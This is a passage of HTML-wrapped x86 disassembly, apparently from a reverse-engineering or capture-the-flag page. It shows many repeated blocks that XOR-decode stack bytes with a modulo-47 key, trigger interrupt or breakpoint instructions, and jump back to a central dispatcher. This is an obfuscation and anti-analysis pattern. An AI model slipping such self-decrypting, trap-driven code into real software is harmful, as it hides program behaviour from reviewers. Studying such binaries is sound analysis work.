class="line">5a6: 6b c0 2f imul eax, eax, 0x2f</span><br><span class="line">5a9: 29 c2 sub edx, eax</span><br><span class="line">5ab: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">5b0: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">5b3: 83 c1 01 add ecx, 0x1</span><br><span class="line">5b6: 83 f9 25 cmp ecx, 0x25</span><br><span class="line">5b9: 75 d8 jne 0x593</span><br><span class="line">5bb: cd 13 int 0x13</span><br><span class="line">5bd: be 09 00 00 00 mov esi, 0x9</span><br><span class="line">5c2: e9 26 fe ff ff jmp 0x3ed</span><br><span class="line">5c7: 8d 74 24 15 lea esi, [esp+0x15]</span><br><span class="line">5cb: b9 0b 00 00 00 mov ecx, 0xb</span><br><span class="line">5d0: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">5d5: 89 c8 mov eax, ecx</span><br><span class="line">5d7: 99 cdq</span><br><span class="line">5d8: f7 ff idiv edi</span><br><span class="line">5da: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">5df: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">5e2: 83 c1 01 add ecx, 0x1</span><br><span class="line">5e5: 83 f9 17 cmp ecx, 0x17</span><br><span class="line">5e8: 75 eb jne 0x5d5</span><br><span class="line">5ea: cc int3</span><br><span class="line">5eb: be 3a 00 00 00 mov esi, 0x3a</span><br><span class="line">5f0: e9 f8 fd ff ff jmp 0x3ed</span><br><span class="line">5f5: 8d 74 24 0e lea esi, [esp+0xe]</span><br><span class="line">5f9: b9 12 00 00 00 mov ecx, 0x12</span><br><span class="line">5fe: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">603: 89 c8 mov eax, ecx</span><br><span class="line">605: 99 cdq</span><br><span class="line">606: f7 ff idiv edi</span><br><span class="line">608: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">60d: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">610: 83 c1 01 add ecx, 0x1</span><br><span class="line">613: 83 f9 25 cmp ecx, 0x25</span><br><span class="line">616: 75 eb jne 0x603</span><br><span class="line">618: cd 44 int 0x44</span><br><span class="line">61a: be 26 00 00 00 mov esi, 0x26</span><br><span class="line">61f: e9 c9 fd ff ff jmp 0x3ed</span><br><span class="line">624: b9 1b 00 00 00 mov ecx, 0x1b</span><br><span class="line">629: be 2f 00 00 00 mov esi, 0x2f</span><br><span class="line">62e: 89 c8 mov eax, ecx</span><br><span class="line">630: 99 cdq</span><br><span class="line">631: f7 fe idiv esi</span><br><span class="line">633: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">638: 30 44 0c 05 xor BYTE PTR [esp+ecx*1+0x5], al</span><br><span class="line">63c: 83 c1 01 add ecx, 0x1</span><br><span class="line">63f: 83 f9 37 cmp ecx, 0x37</span><br><span class="line">642: 75 ea jne 0x62e</span><br><span class="line">644: cd 0b int 0xb</span><br><span class="line">646: be 33 00 00 00 mov esi, 0x33</span><br><span class="line">64b: e9 9d fd ff ff jmp 0x3ed</span><br><span class="line">650: 8d 74 24 03 lea esi, [esp+0x3]</span><br><span class="line">654: b9 1d 00 00 00 mov ecx, 0x1d</span><br><span class="line">659: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">65e: 89 c8 mov eax, ecx</span><br><span class="line">660: 99 cdq</span><br><span class="line">661: f7 ff idiv edi</span><br><span class="line">663: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">668: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">66b: 83 c1 01 add ecx, 0x1</span><br><span class="line">66e: 83 f9 3b cmp ecx, 0x3b</span><br><span class="line">671: 75 eb jne 0x65e</span><br><span class="line">673: cd 2d int 0x2d</span><br><span class="line">675: be 11 00 00 00 mov esi, 0x11</span><br><span class="line">67a: e9 6e fd ff ff jmp 0x3ed</span><br><span class="line">67f: 8d 74 24 f5 lea esi, [esp-0xb]</span><br><span class="line">683: b9 2b 00 00 00 mov ecx, 0x2b</span><br><span class="line">688: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">68d: 89 c8 mov eax, ecx</span><br><span class="line">68f: 99 cdq</span><br><span class="line">690: f7 ff idiv edi</span><br><span class="line">692: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">697: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">69a: 83 c1 01 add ecx, 0x1</span><br><span class="line">69d: 83 f9 57 cmp ecx, 0x57</span><br><span class="line">6a0: 75 eb jne 0x68d</span><br><span class="line">6a2: cd 4c int 0x4c</span><br><span class="line">6a4: be 13 00 00 00 mov esi, 0x13</span><br><span class="line">6a9: e9 3f fd ff ff jmp 0x3ed</span><br><span class="line">6ae: 8d 74 24 fc lea esi, [esp-0x4]</span><br><span class="line">6b2: b9 24 00 00 00 mov ecx, 0x24</span><br><span class="line">6b7: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">6bc: 89 c8 mov eax, ecx</span><br><span class="line">6be: 99 cdq</span><br><span class="line">6bf: f7 ff idiv edi</span><br><span class="line">6c1: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">6c6: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">6c9: 83 c1 01 add ecx, 0x1</span><br><span class="line">6cc: 83 f9 49 cmp ecx, 0x49</span><br><span class="line">6cf: 75 eb jne 0x6bc</span><br><span class="line">6d1: cd 5b int 0x5b</span><br><span class="line">6d3: be 0d 00 00 00 mov esi, 0xd</span><br><span class="line">6d8: e9 10 fd ff ff jmp 0x3ed</span><br><span class="line">6dd: 8d 4c 24 13 lea ecx, [esp+0x13]</span><br><span class="line">6e1: be 0d 00 00 00 mov esi, 0xd</span><br><span class="line">6e6: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">6eb: 89 f0 mov eax, esi</span><br><span class="line">6ed: 99 cdq</span><br><span class="line">6ee: f7 ff idiv edi</span><br><span class="line">6f0: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">6f5: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">6f8: 83 c6 01 add esi, 0x1</span><br><span class="line">6fb: 83 fe 1b cmp esi, 0x1b</span><br><span class="line">6fe: 75 eb jne 0x6eb</span><br><span class="line">700: cd 50 int 0x50</span><br><span class="line">702: be 3b 00 00 00 mov esi, 0x3b</span><br><span class="line">707: e9 e1 fc ff ff jmp 0x3ed</span><br><span class="line">70c: b9 2d 00 00 00 mov ecx, 0x2d</span><br><span class="line">711: be 2f 00 00 00 mov esi, 0x2f</span><br><span class="line">716: 89 c8 mov eax, ecx</span><br><span class="line">718: 99 cdq</span><br><span class="line">719: f7 fe idiv esi</span><br><span class="line">71b: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">720: 30 44 0c f3 xor BYTE PTR [esp+ecx*1-0xd], al</span><br><span class="line">724: 83 c1 01 add ecx, 0x1</span><br><span class="line">727: 83 f9 5b cmp ecx, 0x5b</span><br><span class="line">72a: 75 ea jne 0x716</span><br><span class="line">72c: cd 49 int 0x49</span><br><span class="line">72e: be 29 00 00 00 mov esi, 0x29</span><br><span class="line">733: e9 b5 fc ff ff jmp 0x3ed</span><br><span class="line">738: 8d 4c 24 0f lea ecx, [esp+0xf]</span><br><span class="line">73c: be 11 00 00 00 mov esi, 0x11</span><br><span class="line">741: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">746: 89 f0 mov eax, esi</span><br><span class="line">748: 99 cdq</span><br><span class="line">749: f7 ff idiv edi</span><br><span class="line">74b: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">750: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">753: 83 c6 01 add esi, 0x1</span><br><span class="line">756: 83 fe 23 cmp esi, 0x23</span><br><span class="line">759: 75 eb jne 0x746</span><br><span class="line">75b: cd 01 int 0x1</span><br><span class="line">75d: be 30 00 00 00 mov esi, 0x30</span><br><span class="line">762: e9 86 fc ff ff jmp 0x3ed</span><br><span class="line">767: 8d 74 24 03 lea esi, [esp+0x3]</span><br><span class="line">76b: b9 1d 00 00 00 mov ecx, 0x1d</span><br><span class="line">770: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">775: 89 c8 mov eax, ecx</span><br><span class="line">777: 99 cdq</span><br><span class="line">778: f7 ff idiv edi</span><br><span class="line">77a: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">77f: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">782: 83 c1 01 add ecx, 0x1</span><br><span class="line">785: 83 f9 3b cmp ecx, 0x3b</span><br><span class="line">788: 75 eb jne 0x775</span><br><span class="line">78a: cd 48 int 0x48</span><br><span class="line">78c: be 14 00 00 00 mov esi, 0x14</span><br><span class="line">791: e9 57 fc ff ff jmp 0x3ed</span><br><span class="line">796: 8d 4c 24 08 lea ecx, [esp+0x8]</span><br><span class="line">79a: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">79f: 89 f0 mov eax, esi</span><br><span class="line">7a1: 99 cdq</span><br><span class="line">7a2: f7 ff idiv edi</span><br><span class="line">7a4: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">7a9: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">7ac: 83 c6 01 add esi, 0x1</span><br><span class="line">7af: 83 fe 31 cmp esi, 0x31</span><br><span class="line">7b2: 75 eb jne 0x79f</span><br><span class="line">7b4: cd 58 int 0x58</span><br><span class="line">7b6: be 4e 00 00 00 mov esi, 0x4e</span><br><span class="line">7bb: e9 2d fc ff ff jmp 0x3ed</span><br><span class="line">7c0: 8d 74 24 03 lea esi, [esp+0x3]</span><br><span class="line">7c4: b9 1d 00 00 00 mov ecx, 0x1d</span><br><span class="line">7c9: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">7ce: 89 c8 mov eax, ecx</span><br><span class="line">7d0: 99 cdq</span><br><span class="line">7d1: f7 ff idiv edi</span><br><span class="line">7d3: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">7d8: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">7db: 83 c1 01 add ecx, 0x1</span><br><span class="line">7de: 83 f9 3b cmp ecx, 0x3b</span><br><span class="line">7e1: 75 eb jne 0x7ce</span><br><span class="line">7e3: cd 31 int 0x31</span><br><span class="line">7e5: be 4b 00 00 00 mov esi, 0x4b</span><br><span class="line">7ea: e9 fe fb ff ff jmp 0x3ed</span><br><span class="line">7ef: b9 2e 00 00 00 mov ecx, 0x2e</span><br><span class="line">7f4: be 2f 00 00 00 mov esi, 0x2f</span><br><span class="line">7f9: 89 c8 mov eax, ecx</span><br><span class="line">7fb: 99 cdq</span><br><span class="line">7fc: f7 fe idiv esi</span><br><span class="line">7fe: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">803: 30 44 0c f2 xor BYTE PTR [esp+ecx*1-0xe], al</span><br><span class="line">807: 83 c1 01 add ecx, 0x1</span><br><span class="line">80a: 83 f9 5d cmp ecx, 0x5d</span><br><span class="line">80d: 75 ea jne 0x7f9</span><br><span class="line">80f: cd 3c int 0x3c</span><br><span class="line">811: be 52 00 00 00 mov esi, 0x52</span><br><span class="line">816: e9 d2 fb ff ff jmp 0x3ed</span><br><span class="line">81b: b9 03 00 00 00 mov ecx, 0x3</span><br><span class="line">820: be 2f 00 00 00 mov esi, 0x2f</span><br><span class="line">825: 89 c8 mov eax, ecx</span><br><span class="line">827: 99 cdq</span><br><span class="line">828: f7 fe idiv esi</span><br><span class="line">82a: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">82f: 30 44 0c 1d xor BYTE PTR [esp+ecx*1+0x1d], al</span><br><span class="line">833: 83 c1 01 add ecx, 0x1</span><br><span class="line">836: 83 f9 07 cmp ecx, 0x7</span><br><span class="line">839: 75 ea jne 0x825</span><br><span class="line">83b: cd 1c int 0x1c</span><br><span class="line">83d: be 4d 00 00 00 mov esi, 0x4d</span><br><span class="line">842: e9 a6 fb ff ff jmp 0x3ed</span><br><span class="line">847: 8d 4c 24 f7 lea ecx, [esp-0x9]</span><br><span class="line">84b: be 29 00 00 00 mov esi, 0x29</span><br><span class="line">850: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">855: 89 f0 mov eax, esi</span><br><span class="line">857: 99 cdq</span><br><span class="line">858: f7 ff idiv edi</span><br><span class="line">85a: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">85f: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">862: 83 c6 01 add esi, 0x1</span><br><span class="line">865: 83 fe 53 cmp esi, 0x53</span><br><span class="line">868: 75 eb jne 0x855</span><br><span class="line">86a: cd 06 int 0x6</span><br><span class="line">86c: be 2a 00 00 00 mov esi, 0x2a</span><br><span class="line">871: e9 77 fb ff ff jmp 0x3ed</span><br><span class="line">876: 8d 74 24 17 lea esi, [esp+0x17]</span><br><span class="line">87a: b9 09 00 00 00 mov ecx, 0x9</span><br><span class="line">87f: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">884: 89 c8 mov eax, ecx</span><br><span class="line">886: 99 cdq</span><br><span class="line">887: f7 ff idiv edi</span><br><span class="line">889: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">88e: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">891: 83 c1 01 add ecx, 0x1</span><br><span class="line">894: 83 f9 13 cmp ecx, 0x13</span><br><span class="line">897: 75 eb jne 0x884</span><br><span class="line">899: cd 35 int 0x35</span><br><span class="line">89b: be 4a 00 00 00 mov esi, 0x4a</span><br><span class="line">8a0: e9 48 fb ff ff jmp 0x3ed</span><br><span class="line">8a5: 8d 74 24 fc lea esi, [esp-0x4]</span><br><span class="line">8a9: b9 24 00 00 00 mov ecx, 0x24</span><br><span class="line">8ae: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">8b3: 89 c8 mov eax, ecx</span><br><span class="line">8b5: 99 cdq</span><br><span class="line">8b6: f7 ff idiv edi</span><br><span class="line">8b8: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">8bd: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">8c0: 83 c1 01 add ecx, 0x1</span><br><span class="line">8c3: 83 f9 49 cmp ecx, 0x49</span><br><span class="line">8c6: 75 eb jne 0x8b3</span><br><span class="line">8c8: cd 54 int 0x54</span><br><span class="line">8ca: be 38 00 00 00 mov esi, 0x38</span><br><span class="line">8cf: e9 19 fb ff ff jmp 0x3ed</span><br><span class="line">8d4: 8d 4c 24 18 lea ecx, [esp+0x18]</span><br><span class="line">8d8: be 08 00 00 00 mov esi, 0x8</span><br><span class="line">8dd: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">8e2: 89 f0 mov eax, esi</span><br><span class="line">8e4: 99 cdq</span><br><span class="line">8e5: f7 ff idiv edi</span><br><span class="line">8e7: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">8ec: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">8ef: 83 c6 01 add esi, 0x1</span><br><span class="line">8f2: 83 fe 11 cmp esi, 0x11</span><br><span class="line">8f5: 75 eb jne 0x8e2</span><br><span class="line">8f7: cd 2f int 0x2f</span><br><span class="line">8f9: be 0f 00 00 00 mov esi, 0xf</span><br><span class="line">8fe: e9 ea fa ff ff jmp 0x3ed</span><br><span class="line">903: 8d 74 24 fc lea esi, [esp-0x4]</span><br><span class="line">907: b9 24 00 00 00 mov ecx, 0x24</span><br><span class="line">90c: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">911: 89 c8 mov eax, ecx</span><br><span class="line">913: 99 cdq</span><br><span class="line">914: f7 ff idiv edi</span><br><span class="line">916: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">91b: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">91e: 83 c1 01 add ecx, 0x1</span><br><span class="line">921: 83 f9 49 cmp ecx, 0x49</span><br><span class="line">924: 75 eb jne 0x911</span><br><span class="line">926: cd 43 int 0x43</span><br><span class="line">928: be 43 00 00 00 mov esi, 0x43</span><br><span class="line">92d: e9 bb fa ff ff jmp 0x3ed</span><br><span class="line">932: 8d 4c 24 12 lea ecx, [esp+0x12]</span><br><span class="line">936: be 0e 00 00 00 mov esi, 0xe</span><br><span class="line">93b: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">940: 89 f0 mov eax, esi</span><br><span class="line">942: 99 cdq</span><br><span class="line">943: f7 ff idiv edi</span><br><span class="line">945: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">94a: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">94d: 83 c6 01 add esi, 0x1</span><br><span class="line">950: 83 fe 1d cmp esi, 0x1d</span><br><span class="line">953: 75 eb jne 0x940</span><br><span class="line">955: cd 0a int 0xa</span><br><span class="line">957: be 57 00 00 00 mov esi, 0x57</span><br><span class="line">95c: e9 8c fa ff ff jmp 0x3ed</span><br><span class="line">961: 8d 4c 24 1e lea ecx, [esp+0x1e]</span><br><span class="line">965: be 02 00 00 00 mov esi, 0x2</span><br><span class="line">96a: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">96f: 89 f0 mov eax, esi</span><br><span class="line">971: 99 cdq</span><br><span class="line">972: f7 ff idiv edi</span><br><span class="line">974: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">979: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">97c: 83 c6 01 add esi, 0x1</span><br><span class="line">97f: 83 fe 05 cmp esi, 0x5</span><br><span class="line">982: 75 eb jne 0x96f</span><br><span class="line">984: cd 04 int 0x4</span><br><span class="line">986: be 28 00 00 00 mov esi, 0x28</span><br><span class="line">98b: e9 5d fa ff ff jmp 0x3ed</span><br><span class="line">990: 8d 74 24 1c lea esi, [esp+0x1c]</span><br><span class="line">994: b9 04 00 00 00 mov ecx, 0x4</span><br><span class="line">999: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">99e: 89 c8 mov eax, ecx</span><br><span class="line">9a0: 99 cdq</span><br><span class="line">9a1: f7 ff idiv edi</span><br><span class="line">9a3: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">9a8: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">9ab: 83 c1 01 add ecx, 0x1</span><br><span class="line">9ae: 83 f9 09 cmp ecx, 0x9</span><br><span class="line">9b1: 75 eb jne 0x99e</span><br><span class="line">9b3: cd 52 int 0x52</span><br><span class="line">9b5: be 44 00 00 00 mov esi, 0x44</span><br><span class="line">9ba: e9 2e fa ff ff jmp 0x3ed</span><br><span class="line">9bf: 8d 4c 24 18 lea ecx, [esp+0x18]</span><br><span class="line">9c3: be 08 00 00 00 mov esi, 0x8</span><br><span class="line">9c8: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">9cd: 89 f0 mov eax, esi</span><br><span class="line">9cf: 99 cdq</span><br><span class="line">9d0: f7 ff idiv edi</span><br><span class="line">9d2: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">9d7: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">9da: 83 c6 01 add esi, 0x1</span><br><span class="line">9dd: 83 fe 11 cmp esi, 0x11</span><br><span class="line">9e0: 75 eb jne 0x9cd</span><br><span class="line">9e2: cd 4b int 0x4b</span><br><span class="line">9e4: be 10 00 00 00 mov esi, 0x10</span><br><span class="line">9e9: e9 ff f9 ff ff jmp 0x3ed</span><br><span class="line">9ee: 8d 4c 24 13 lea ecx, [esp+0x13]</span><br><span class="line">9f2: be 0d 00 00 00 mov esi, 0xd</span><br><span class="line">9f7: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">9fc: 89 f0 mov eax, esi</span><br><span class="line">9fe: 99 cdq</span><br><span class="line">9ff: f7 ff idiv edi</span><br><span class="line">a01: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">a06: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">a09: 83 c6 01 add esi, 0x1</span><br><span class="line">a0c: 83 fe 1b cmp esi, 0x1b</span><br><span class="line">a0f: 75 eb jne 0x9fc</span><br><span class="line">a11: cd 56 int 0x56</span><br><span class="line">a13: be 51 00 00 00 mov esi, 0x51</span><br><span class="line">a18: e9 d0 f9 ff ff jmp 0x3ed</span><br><span class="line">a1d: 8d 4c 24 1e lea ecx, [esp+0x1e]</span><br><span class="line">a21: be 02 00 00 00 mov esi, 0x2</span><br><span class="line">a26: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">a2b: 89 f0 mov eax, esi</span><br><span class="line">a2d: 99 cdq</span><br><span class="line">a2e: f7 ff idiv edi</span><br><span class="line">a30: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">a35: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">a38: 83 c6 01 add esi, 0x1</span><br><span class="line">a3b: 83 fe 05 cmp esi, 0x5</span><br><span class="line">a3e: 75 eb jne 0xa2b</span><br><span class="line">a40: cd 5e int 0x5e</span><br><span class="line">a42: be 2f 00 00 00 mov esi, 0x2f</span><br><span class="line">a47: e9 a1 f9 ff ff jmp 0x3ed</span><br><span class="line">a4c: 8d 4c 24 0a lea ecx, [esp+0xa]</span><br><span class="line">a50: be 16 00 00 00 mov esi, 0x16</span><br><span class="line">a55: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">a5a: 89 f0 mov eax, esi</span><br><span class="line">a5c: 99 cdq</span><br><span class="line">a5d: f7 ff idiv edi</span><br><span class="line">a5f: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">a64: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">a67: 83 c6 01 add esi, 0x1</span><br><span class="line">a6a: 83 fe 2d cmp esi, 0x2d</span><br><span class="line">a6d: 75 eb jne 0xa5a</span><br><span class="line">a6f: cd 5a int 0x5a</span><br><span class="line">a71: be 5a 00 00 00 mov esi, 0x5a</span><br><span class="line">a76: e9 72 f9 ff ff jmp 0x3ed</span><br><span class="line">a7b: 8d 4c 24 08 lea ecx, [esp+0x8]</span><br><span class="line">a7f: be 18 00 00 00 mov esi, 0x18</span><br><span class="line">a84: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">a89: 89 f0 mov eax, esi</span><br><span class="line">a8b: 99 cdq</span><br><span class="line">a8c: f7 ff idiv edi</span><br><span class="line">a8e: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">a93: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">a96: 83 c6 01 add esi, 0x1</span><br><span class="line">a99: 83 fe 31 cmp esi, 0x31</span><br><span class="line">a9c: 75 eb jne 0xa89</span><br><span class="line">a9e: cd 37 int 0x37</span><br><span class="line">aa0: be 18 00 00 00 mov esi, 0x18</span><br><span class="line">aa5: e9 43 f9 ff ff jmp 0x3ed</span><br><span class="line">aaa: b9 27 00 00 00 mov ecx, 0x27</span><br><span class="line">aaf: be 2f 00 00 00 mov esi, 0x2f</span><br><span class="line">ab4: 89 c8 mov eax, ecx</span><br><span class="line">ab6: 99 cdq</span><br><span class="line">ab7: f7 fe idiv esi</span><br><span class="line">ab9: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">abe: 30 44 0c f9 xor BYTE PTR [esp+ecx*1-0x7], al</span><br><span class="line">ac2: 83 c1 01 add ecx, 0x1</span><br><span class="line">ac5: 83 f9 4f cmp ecx, 0x4f</span><br><span class="line">ac8: 75 ea jne 0xab4</span><br><span class="line">aca: cd 25 int 0x25</span><br><span class="line">acc: be 3c 00 00 00 mov esi, 0x3c</span><br><span class="line">ad1: e9 17 f9 ff ff jmp 0x3ed</span><br><span class="line">ad6: 8d 4c 24 f7 lea ecx, [esp-0x9]</span><br><span class="line">ada: be 29 00 00 00 mov esi, 0x29</span><br><span class="line">adf: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">ae4: 89 f0 mov eax, esi</span><br><span class="line">ae6: 99 cdq</span><br><span class="line">ae7: f7 ff idiv edi</span><br><span class="line">ae9: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">aee: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">af1: 83 c6 01 add esi, 0x1</span><br><span class="line">af4: 83 fe 53 cmp esi, 0x53</span><br><span class="line">af7: 75 eb jne 0xae4</span><br><span class="line">af9: cd 57 int 0x57</span><br><span class="line">afb: be 02 00 00 00 mov esi, 0x2</span><br><span class="line">b00: e9 e8 f8 ff ff jmp 0x3ed</span><br><span class="line">b05: b9 21 00 00 00 mov ecx, 0x21</span><br><span class="line">b0a: be 2f 00 00 00 mov esi, 0x2f</span><br><span class="line">b0f: 89 c8 mov eax, ecx</span><br><span class="line">b11: 99 cdq</span><br><span class="line">b12: f7 fe idiv esi</span><br><span class="line">b14: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">b19: 30 44 0c ff xor BYTE PTR [esp+ecx*1-0x1], al</span><br><span class="line">b1d: 83 c1 01 add ecx, 0x1</span><br><span class="line">b20: 83 f9 43 cmp ecx, 0x43</span><br><span class="line">b23: 75 ea jne 0xb0f</span><br><span class="line">b25: cd 53 int 0x53</span><br><span class="line">b27: be 59 00 00 00 mov esi, 0x59</span><br><span class="line">b2c: e9 bc f8 ff ff jmp 0x3ed</span><br><span class="line">b31: 8d 74 24 fc lea esi, [esp-0x4]</span><br><span class="line">b35: b9 24 00 00 00 mov ecx, 0x24</span><br><span class="line">b3a: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">b3f: 89 c8 mov eax, ecx</span><br><span class="line">b41: 99 cdq</span><br><span class="line">b42: f7 ff idiv edi</span><br><span class="line">b44: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">b49: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">b4c: 83 c1 01 add ecx, 0x1</span><br><span class="line">b4f: 83 f9 49 cmp ecx, 0x49</span><br><span class="line">b52: 75 eb jne 0xb3f</span><br><span class="line">b54: cd 46 int 0x46</span><br><span class="line">b56: be 24 00 00 00 mov esi, 0x24</span><br><span class="line">b5b: e9 8d f8 ff ff jmp 0x3ed</span><br><span class="line">b60: 8d 4c 24 0a lea ecx, [esp+0xa]</span><br><span class="line">b64: be 16 00 00 00 mov esi, 0x16</span><br><span class="line">b69: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">b6e: 89 f0 mov eax, esi</span><br><span class="line">b70: 99 cdq</span><br><span class="line">b71: f7 ff idiv edi</span><br><span class="line">b73: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">b78: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">b7b: 83 c6 01 add esi, 0x1</span><br><span class="line">b7e: 83 fe 2d cmp esi, 0x2d</span><br><span class="line">b81: 75 eb jne 0xb6e</span><br><span class="line">b83: cd 30 int 0x30</span><br><span class="line">b85: be 40 00 00 00 mov esi, 0x40</span><br><span class="line">b8a: e9 5e f8 ff ff jmp 0x3ed</span><br><span class="line">b8f: 8d 74 24 14 lea esi, [esp+0x14]</span><br><span class="line">b93: b9 0c 00 00 00 mov ecx, 0xc</span><br><span class="line">b98: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">b9d: 89 c8 mov eax, ecx</span><br><span class="line">b9f: 99 cdq</span><br><span class="line">ba0: f7 ff idiv edi</span><br><span class="line">ba2: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">ba7: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">baa: 83 c1 01 add ecx, 0x1</span><br><span class="line">bad: 83 f9 19 cmp ecx, 0x19</span><br><span class="line">bb0: 75 eb jne 0xb9d</span><br><span class="line">bb2: cd 62 int 0x62</span><br><span class="line">bb4: be 41 00 00 00 mov esi, 0x41</span><br><span class="line">bb9: e9 2f f8 ff ff jmp 0x3ed</span><br><span class="line">bbe: 8d 74 24 fc lea esi, [esp-0x4]</span><br><span class="line">bc2: b9 24 00 00 00 mov ecx, 0x24</span><br><span class="line">bc7: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">bcc: 89 c8 mov eax, ecx</span><br><span class="line">bce: 99 cdq</span><br><span class="line">bcf: f7 ff idiv edi</span><br><span class="line">bd1: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">bd6: 30 04 